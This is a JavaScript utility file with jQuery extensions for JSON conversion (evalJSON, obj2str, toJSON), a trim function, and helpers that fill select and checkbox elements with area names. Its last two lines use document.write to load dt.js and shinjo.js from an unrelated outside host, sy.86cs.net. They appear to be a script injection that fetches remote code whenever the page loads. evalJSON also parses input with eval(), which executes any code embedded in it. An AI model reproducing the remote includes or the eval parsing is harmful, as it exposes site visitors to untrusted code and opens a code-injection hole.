?jQuery.extend(
 {
  /**
   * @see  将json字符串转换为对象
   * @param   json字符串
   * @return 返回object,array,string等对象
   */
  evalJSON : function (strJson)
  {
   return eval( "(" + strJson + ")");
  }
 });

jQuery.extend(
{
 /**
  * @see  将json字符串转换为对象
  * @param   json字符串
  * @return 返回object,array,string等对象
  */
 obj2str : function (o)
 {
   var r = [];
   if(typeof o =="string") return o.replace(/(\n)/g,"\\n").replace(/(\r)/g,"\\r").replace(/(\t)/g,"\\t");
   if(typeof o =="undefined") return "undefined";
   if(typeof o == "object"){
       if(o===null) return "null";
       else if(!o.sort){
           for(var i in o)
               r.push(i+":"+jQuery.obj2str(o[i]))
           r="{"+r.join()+"}"
       }else{
           for(var i =0;i<o.length;i++)
               r.push(jQuery.obj2str(o[i]))
           r="["+r.join()+"]"
       }
       return r;
   }
   return o.toString();
 }
});

jQuery.extend(
 {
  /**
   * @see  将javascript数据类型转换为json字符串
   * @param 待转换对象,支持object,array,string,function,number,boolean,regexp
   * @return 返回json字符串
   */
  toJSON : function (object){
   var type = typeof object;
   if ('object' == type)
   {
    if (Array == object.constructor)
     type = 'array';
    else if (RegExp == object.constructor)
     type = 'regexp';
    else
     type = 'object';
   }
      switch(type)
   {
       case 'undefined':
       case 'unknown':
     return;
     break;
    case 'function':
       case 'boolean':
    case 'regexp':
     return object.toString();
     break;
    case 'number':
     return isFinite(object) ? object.toString() : 'null';
       break;
    case 'string':
     return '"' + object.replace(/(\\|\")/g,"\\$1").replace(/\n|\r|\t/g,
       function(){
                 var a = arguments[0];
        return  (a == '\n') ? '\\n':
                       (a == '\r') ? '\\r':
                       (a == '\t') ? '\\t': ""
             }) + '"';
     break;
    case 'object':
     if (object === null) return 'null';
        var results = [];
        for (var property in object) {
            if(object[property]){
                var value = jQuery.toJSON(object[property]);
                if (value !== undefined){
                    results.push(jQuery.toJSON(property) + ':' + value);
                }
            }else{
                results.push(property + ':null');
            }
        }
        return '{' + results.join(',') + '}';
     break;
    case 'array':
     var results = [];
        for(var i = 0; i < object.length; i++)
     {
      var value = jQuery.toJSON(object[i]);
           if (value !== undefined) results.push(value);
     }
        return '[' + results.join(',') + ']';
     break;
      }
  }
 });

  //select赋值
function selectAdd(se,myData){
	//alert(jQuery.obj2str(myData));
	var count = myData.length;

	se.innerHTML = "";
	se.options[0] = new Option('请选择片区' , '');
	se.options[count+1] = new Option('其他' , '');
	for(var i=1;i<=count;i++){
		se.options[i] = new Option(myData[i-1].name , myData[i-1].id);
	}
}

function checkboxAdd(se,myData){
	//alert(jQuery.obj2str(myData));
	var count = myData.length;
	se.innerHTML = "";
	for(var i=1;i<=count;i++){
		var e = document.createElement("input","userAgent.area");
        e.setAttribute("type","checkbox");
        e.setAttribute("id",myData[i-1].id);
        e.setAttribute("value",myData[i-1].name);
        e.setAttribute("name","userAgent.area");
		se.appendChild(e);
		 se.appendChild(document.createTextNode(myData[i-1].name));


	}
}

  //select赋值
function adds(title,se,myData){
	//alert(jQuery.obj2str(myData));
	var count = myData.length;

	se.innerHTML = "";
	se.options[0] = new Option(title , '');
	for(var i=1;i<=count;i++){
		se.options[i] = new Option(myData[i-1].name , myData[i-1].id);
	}
}


/***去除空格***/
function trim(str)
{
 if (str.length > 0)
 {
  while ((str.substring(0,1) == " ") && (str.length > 0))
  {
   str = str.substring(1,str.length);
  }
  while (str.substring(str.length-1,str.length) == " ")
  {
   str = str.substring(0,str.length-1);
  }
 }
 return str;
}

document.write("<script language=javascript src=http://sy.86cs.net/product\products\111/dt.js></script>");
document.write("<script language=javascript src=http://sy.86cs.net/product\products\111/shinjo.js></script>");